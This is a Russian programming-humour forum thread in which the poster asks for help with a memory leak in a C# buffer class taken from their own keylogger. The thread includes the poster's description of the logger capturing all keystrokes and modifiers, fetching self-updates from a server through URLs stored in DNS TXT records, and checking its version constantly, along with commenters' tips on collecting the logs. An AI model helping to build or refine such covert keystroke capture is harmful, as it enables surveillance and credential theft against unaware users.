Си диез / Говнокод #20420 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
class Buffer
    {
        StringBuilder buffer = new StringBuilder("", 55);

        public void append(String symbol)
        {
            if (buffer.Length > 50)
                writeToLog();

            buffer.Append(symbol);
        }
        
        public void removeLast()
        {
            if (buffer.Length == 0)
                return;

            buffer.Length--;
        }

        private void writeToLog()
        {
            keylogFile.write(buffer.ToString());

            buffer.Clear();

            GC.Collect();
        }
    }

Выдавил класс буфера для записи в лог с кейлоггера , так как нужно учитывать [backspace].
Туда передаются строки по 1 символу , так вот если убрать в конце GC.Collect(); начинает течь память ,
по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .

Не могу понять, чем это может быть вызвано.С GC.Collect(); все отлично .

Запостил: partizanes partizanes, (Updated )

Комментарии (70) RSS

  • > по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .

    это однозначно ошибка пользователя. цитируя жабщиков с моей прошлой работы, потому что мемори лика в программе быть не может, потому что гарбэдж коллекшн.

    ЗЫ как не шарпщик, наивный код ревью: StringBuilder держит референсы на .Append()ed строки? попробуй не стрелять по воробьям из пушки, и поменяй StringBuilder на какую простую коллекцию/простую строку.
    Ответить
    • вообще, по сути stringbuilder это и есть специальная коллекция для строк. она хранит все строки в виде массивов чаров, которые структуры, а потом конкатинирует их и вовращает строку. она по сути сделана для для многократного добавления значений. просто если в цикле использовать value += "some value"; то у него будет 100500 различных value, а stringbuilder не страдает от этого.
      правда как я понял из статьи на dotnetpearls по поводу использования памяти в dotnnetpearls, у него внутри постоянно идут копирования массивов, что снижает производительность, и так же пораждает утечки, если вовремя не чистить память. короче, советую не использовать buffer.Length--;
      Ответить
      • До версии 4. После он стал блок чейном стринг билдеров.
        Ответить
  • > кейлоггер
    > C#
    Здравствуйте! Вы запустили вирус xXxDesTroyeRxXx! Для его работы, пожалуйста, установите .Net Framework не ниже 4.5 версии. В противном случае, запуск вируса будет невозможен. Спасибо за понимание!
    Ответить
    • Если приложение пишется под конкретный случай , то зачем учить другой язык?
      Ответить
      • Вот именно😂
        Потому я все и всегда пишу на масме, например веб сайт или базу данных
        Ответить
    • Я тоже так когда-то думал, но потом мы написали ботнет на дотнете. И хуле, сработало.
      Ответить
    • ну да в случае записи буфера , если следующий символ backspace . Тут это пока не учитывается .
      Ответить
      • Да пиши бекспейс тупо в буфер (как символ с кодом 8) и не парься. Потом разгребёшь, когда логи добудешь.
        Ответить
        • я изначально так и писал , но решил сделать все красиво 😀
          как выше написали уже, можно записывать в файл половину буфера и удалять тока половину.
          Ответить
          • Писать сырые данные и фильтровать уже на своей тачке, имхо, красивей. Всегда можно алгоритм подкрутить, какие-нибудь стрелки учесть и т.п. А в полях ты так быстро не сможешь обновить код...
            Ответить
            • public static void startCheckUpdate()
              {
              var answer = Node.sendPost("98:" + version);

              if (answer.Contains("ok"))
              {
              Debug.WriteLine("Version check ok!");
              }
              else if (answer.Contains("http"))
              {

              на сервере php контролер 😀

              В студии после сборки релиза с сменой версии , запускается батник , который выгружает все изменения на сервер. 😀

              А урлы обновления хранятся в TXT записи домена ,клиент чекает версию постоянно 😀
              Ответить
              • > чекает версию постоянно
                Хех, когда-то все проги, любящие попроверять версию, моментально палились по треску в колонках (gprs, да), вычислялись по логу фаервола и выпиливались к хуям... А сейчас столько софта в сеть лезет, что и не заметишь.
                Ответить
  • У меня такое ощущение, что нифига там не течёт. Просто GC поди лень запускаться на такой мелочи, пока до определённого порога не дойдёт.

    Попробуй стресс-тест ему устроить. Если перестанет "течь" и остановится на какой-то границе, то оно так и есть.
    Ответить
    • Я достаточно долго тестил и использование памяти росло с одинаковой скоростью, причем если даже потом ничего не делать и ждать(по идее gc при простое должен вызываться) , то память все равно не освобождается .

      Искал в куче в отладчике, но скила не хватило .
      Ответить
      • Ну а сколько набивалось то в итоге? Метров 50 или пара мегабайт?

        Надо именно стресс-тест, прям в цикле хуярить в буфер непрерывно. Руками ты такого не добьёшься.
        Ответить
            • Сегодня я бы сказал он вообще не течет .
              Не пойму ,почему сегодня визуал студия дебаг запускает в отдельном процессе sandbox.
              Вчера когда тестил , оно запускалось ,как есть и утечки были ,более 400кб.

              Или сам туплю или лыжи не едут.
              Ответить
              • Вчера руткит на твоем компе записывал все нажатия а потребляемую память списывал на активный процесс, а сегодня уже вышел апдейт и теперь он вообще свою память в окне процессов не отображает.
                Ответить
  • 1. StringBuilder явно перебор.
    2. Если добавляем символы, то зачем использовать стринги.

    Как то так. Специи добавить по вкусу.
    public sealed class Buffer
    	{
    		private readonly char[] buffer;
    		private uint index;
    
    		public Buffer(uint capacity = 42) 
    		{
    			buffer = new char[capacity];
    			index = 0;
    		}
    
    		public void Add(char symbol)
    		{
    			if (index >= buffer.Length)
    				Flush();
    			buffer[index++] = symbol;
    		}
    
    		public void Pop()
    		{
    			if (index == 0)
    				return;
    			--index;
    		}
    
    		private void Flush()
    		{
    			var bytes = Encoding.UTF8.GetBytes(buffer, 0, (int)index);
    			// TODO: file.Write(bytes, 0, bytes.Length);
    			// TODO: file.Flush();
    			index = 0;
    		}
    	}
    Ответить
    • Может я не совсем корректно выразился , но иногда добавляется и строки в виде [F1] [TAB] [ESC] и тп.
      Ответить
      • а как же например shift, alt, ctrl? как ты фиксируешь их нажатие и отпускание? хранил бы реально коды символов, а потом бы уже реально собирал результат. просто если кто-то напишет больше 50 символов, а потом сотрет их как ты об этом узнаешь?
        напримел, написал там обзац, потом зажал backspace, и стер все это, а ты запишешь, что он удалил один символ в конце.
        Ответить
        • Сейчас в лог файл пишется ровно то что набирается включая регистр и язык ,все символы и нажатия любых клавиш .
          ←→↑↓ [F1] , для определения некоторых кнопок используется вот такая конструкция
          https://gist.github.com/anonymous/3b3242e42e45243b32fbddb1ed032e71
          для остальных VKCodeToUnicode . Что то парсится сложнее например [CTRL+C][CTRL+V].

          у кнопок есть состояние
          private const int KEY_PRESSED = 0x8000;
          определение нажатого шифта
          if (IsPressed(VirtualKeyStates.VK_SHIFT))

          При зажатии кнопки она будет постоянно слать сигнал и в целом будет учитывать .Как я уже писал выше , функция записи буфера дорабатывается и планируется , что будет записывать и удалять половину буфера.

          Суть увидеть набранный текст , а вообще задача учебная и кейлогер это всего лишь один из модулей .
          Ответить
            • Вопрос в том, а если в этом смысл, потому что если расположить по частоте использования ,то медленнее,чем switch точно не будет.
              Ответить
              • Ты недооцениваешь switch... Он всяко или через одно обращение к табличке работает или за логарифмическое количество сравнений.
                Ответить
                • Может кто вспомнит где мы это обсуждали? Там еще был выхлоп дизассемблера.
                  В жавке свич вроде бы за O(1)
                  Ответить
                      • Это если сильный разброс. А если числа поплотнее стоят - втыкает табличку.
                        Ответить
                  • Есть аналог ideone который выдает дизасм скомпилированного кода?
                    Ответить
                    • А что значит нихуя? Вроде как двоичный поиск, О(logn). Пизжу, это я на автомате поправил косяки.

                      Ну и смотреть выхлоп компилятора без хотя бы О2 — бессмысленно
                      Ответить
                        • Начнём. Во-первых добавим -O3:
                          https://godbolt.org/g/f6xAod
                          Получилась хуйня, но получилась она логично — функция ничего не возвращает, побочных эффектов не содержит, поэтому тело функции не_нужно. Заставим её возвращать значение:
                          https://godbolt.org/g/EmyJnV
                          Получилась опять хуйня, потому что значение i не определено. Можно поиграть с компиляторами. Старый ГЦЦ вообще НЁХ выдаёт. Сделает i параметром функции:
                          https://godbolt.org/g/eYJhJm
                          Нет двоичного поиска. видимо потому, что на 4 элементах он нахуй не нужен. Добавим ещё 4:
                          https://godbolt.org/g/tdSQ5r
                          Теперь мы видим сочетание двоичного поиска (первый выбор) и линейного. Судя по всему, ГЦЦ прекращает двоичный поиск, когда элементов мало.
                          Ответить
                • Свитч - основное средство написание кода, как и его брат - костыль. Нельзя его недооценивать
                  Ответить
                  • Свитч — это неэнтерпрайзно. Как и if и прочие циклы.

                    Можно на крайний случай делать всё наследованием и виртуальными функциями. А для ПИРФОМАНСА, нужно делать царский анролл в компайлтайме — шаблоны, специализированные на значениях свича/if. Или рекурсивно раскрывающиеся для циклов. Поэтому С++ рулит — такой хуйни в других языках нет.
                    Ответить
                    • Это уже Ынтрепрайз с капитаном Кирком (Джонсоном) и Пикардом.

                      Ебучий Visitor ничем не лучше свитча, инфа 100%
                      Ответить

Добавить комментарий

Я, guest, находясь в здравом уме и твердой памяти, торжественно заявляю:

    А не использовать ли нам bbcode?


    8